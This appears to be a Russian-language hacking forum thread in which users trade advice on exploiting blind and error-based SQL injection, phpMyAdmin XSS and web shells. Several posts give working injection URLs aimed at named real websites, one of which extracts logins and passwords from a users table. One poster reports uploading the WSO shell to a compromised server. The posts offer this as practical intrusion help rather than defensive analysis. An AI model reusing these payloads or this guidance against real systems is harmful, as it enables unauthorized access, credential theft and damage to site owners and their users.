Возможно там Perl и нет, если .htaccess действителен, то вам нужно указать путь какой либо исполняемого файла, к примеру /usr/bin/python, так-же может иметься возможность написать приложение на C++.
Приветствую! Есть слепая скуля на MS SQL Server'е... можно ли как-нить читать файлики на сервере, юзая блинд? права SYSTEM
Ошибки следующего вида при подставлении ' в строку http://i.imgur.com/ZErAT.png Но когда перебираю +UNION+SELECT+1,2,..+--+ Ничего не исчезает! До 30ти перебирал. Как раскрутить эту sql?
пантамимой не занимаемся, скиньте URL или не задавайте подобные вопросы на которые просто не возможно ответить
foma9999, Code: http://www.advis.ru/gotovye-issledovaniya/page.php?ID=-20839'+union+select+1,group_concat(login,0x3a,password),3,4,5,6,7,8,9,0,11,concat_ws(0x3a,version(),user(),database()),13,14,15,16,17,18,19,20,21,22+from+users--+
Спасибо тебе за дружеский совет , но я интересуюсь не для нажива ради, а только с целью научиться что делать в подобных ситуациях, в данном случае Артек подвернулся под руку...
phpmyadmin 3.3.8 Зашел на /pma/setup/index.php создал сервер с именем <script>alert("like this")</script> Подскажите плиз как можно это использовать?
залил на серв wso и на тебе: Warning: gzinflate() has been disabled for security reasons in путь : regexp code on line 1 первый раз с таким сталкиваюсь , я так понял эта функция отключена(гуглил ,но не понял насколько эта функция критична для вебшелла) какой тогда шелл попробывать?
это xpath inj, можно выдергивать данные из XML файлов... достаточно бесполезная уязвимость, т к вся более-менее "нужная" инфа хранится все-таки в бд....
Не могу раскрутить. Сервер выдает: Code: Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT article_id, title, author, add_time, file_url, open_type, content FROM `d2okcom_gh0P72s`.`d2ok_article` WHERE is_open = 1 AND cat_id IN ('14') ORDER BY article_type DESC, add_time DESC LIMIT -10, 10 ) [2] => Array ( [error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-10, 10' at line 1 ) [3] => Array ( [errno] => 1064 ) ) С помощью union select не смог. Скуля вида site.com/bla.php?id=[SQLI]17 А так ошибку не выдает site.com/bla.php?id=17[SQLI]
Привет там, Есть кто-нибудь, кто знает, как использовать этот подвиг? http://3dwebdesign.org/forum/index.php?showtopic=1113
Always Code: http://cancer.eurolab.ua/blogs/view/post/368+and(select+1+from(select+count(*),concat((select+substr(concat_ws(0x3a,version(),user(),database()),1,100)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+
http://www.mamashkam.ru/users/tennisvip/blog/1'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1 --.html Версию вывел, но больше ничего... По возможности подскажите.
